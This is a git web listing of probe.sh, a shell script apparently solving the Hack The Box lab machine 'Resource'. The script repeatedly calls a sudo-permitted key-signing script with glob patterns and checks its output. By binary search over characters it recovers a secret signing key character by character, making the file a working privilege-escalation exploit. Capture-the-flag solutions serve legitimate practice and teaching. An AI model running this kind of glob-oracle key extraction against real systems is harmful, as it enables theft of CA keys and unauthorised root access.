htb-season-6-resource

Recipes for HTB Season 6 "Resource"
git clone https://git.y5c4l3.net/htb-season-6-resource.git
Log | Files | Refs | README | LICENSE

probe.sh (2688B)


      1 #!/bin/sh
      2 
      3 sch_sarray_is_empty() {
      4   sarray=$1
      5   [ -z "$sarray" ]
      6 }
      7 
      8 sch_sarray_len() {
      9   sarray=$1
     10   i=0
     11   for element in $sarray; do
     12     i=$((i + 1))
     13   done
     14   printf '%d' "$i"
     15 }
     16 
     17 sch_sarray_append() {
     18   sarray=$1
     19   shift
     20   if sch_sarray_is_empty "$sarray"; then
     21     printf '%s' "$*"
     22   else
     23     printf '%s' "$sarray $*"
     24   fi
     25 }
     26 
     27 sch_sarray_take() {
     28   sarray=$1
     29   n="$2"
     30   result=''
     31   i=0
     32   for element in $sarray; do
     33     if [ "$i" -eq "$n" ]; then
     34       break
     35     fi
     36     result=$(sch_sarray_append "$result" "$element")
     37     i=$((i + 1))
     38   done
     39   printf '%s' "$result"
     40 }
     41 
     42 sch_sarray_skip() {
     43   sarray=$1
     44   n=$2
     45   result=''
     46   i=0
     47   for element in $sarray; do
     48     if [ "$i" -ge "$n" ]; then
     49       result=$(sch_sarray_append "$result" "$element")
     50     fi
     51     i=$((i + 1))
     52   done
     53   printf '%s' "$result"
     54 }
     55 
     56 sch_sarray_first() {
     57   sarray=$1
     58   result=''
     59   for element in $sarray; do
     60     printf '%s' "$element"
     61     return 0
     62   done
     63   return 1
     64 }
     65 
     66 custom='- = + / \040 \n'
     67 uppercase="A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
     68 lowercase="a b c d e f g h i j k l m n o p q r s t u v w x y z"
     69 digits="0 1 2 3 4 5 6 7 8 9"
     70 charset="$custom $uppercase $lowercase $digits"
     71 
     72 ca="/tmp/x"
     73 
     74 known=""
     75 
     76 check() {
     77   printf -- "$1" > "$ca"
     78   sudo /opt/sign_key.sh "$ca" /dev/null root _ 10086 2>/dev/null | grep API >/dev/null
     79 }
     80 
     81 check_pattern() {
     82   known=$1
     83   pattern=$2
     84   check "$known$pattern*"
     85 }
     86 
     87 pattern_in() {
     88   sarray=$1
     89   pattern='['
     90   for c in $sarray; do
     91     pattern="$pattern$c"
     92   done
     93   pattern="$pattern]"
     94   printf '%s' "$pattern"
     95 }
     96 
     97 
     98 search_among() {
     99   sarray=$1
    100   callback=$2
    101   [ -z "$callback" ] && return 1
    102   shift; shift
    103   n=$(sch_sarray_len "$sarray")
    104   partition0=$(sch_sarray_take "$sarray" $((n / 2)))
    105   pattern0=$(pattern_in "$partition0")
    106   partition1=$(sch_sarray_skip "$sarray" $((n / 2)))
    107   pattern1=$(pattern_in "$partition1")
    108   if ! sch_sarray_is_empty "$partition0" && ($callback "$@" "$pattern0"); then
    109     if [ $(sch_sarray_len "$partition0") -eq 1 ]; then
    110       sch_sarray_first "$partition0"
    111       return 0
    112     else
    113       search_among "$partition0" "$callback" "$@"
    114       return $?
    115     fi
    116   elif ! sch_sarray_is_empty "$partition1" && ($callback "$@" "$pattern1"); then
    117     if [ $(sch_sarray_len "$partition1") -eq 1 ]; then
    118       sch_sarray_first "$partition1"
    119       return 0
    120     else
    121       search_among "$partition1" "$callback" "$@"
    122       return $?
    123     fi
    124   fi
    125   return 1
    126 }
    127 
    128 while true; do
    129   c=$(search_among "$charset" check_pattern "$known")
    130   if [ $? -eq 0 ]; then
    131     known="$known$c"
    132     if check $known; then
    133       printf "ok:\n$known\n" >&2
    134       printf -- "$known"
    135       break
    136     fi
    137   else
    138     printf "stuck at:\n$known\n" >&2
    139     break
    140   fi
    141 done
    142 
    143 rm "$ca"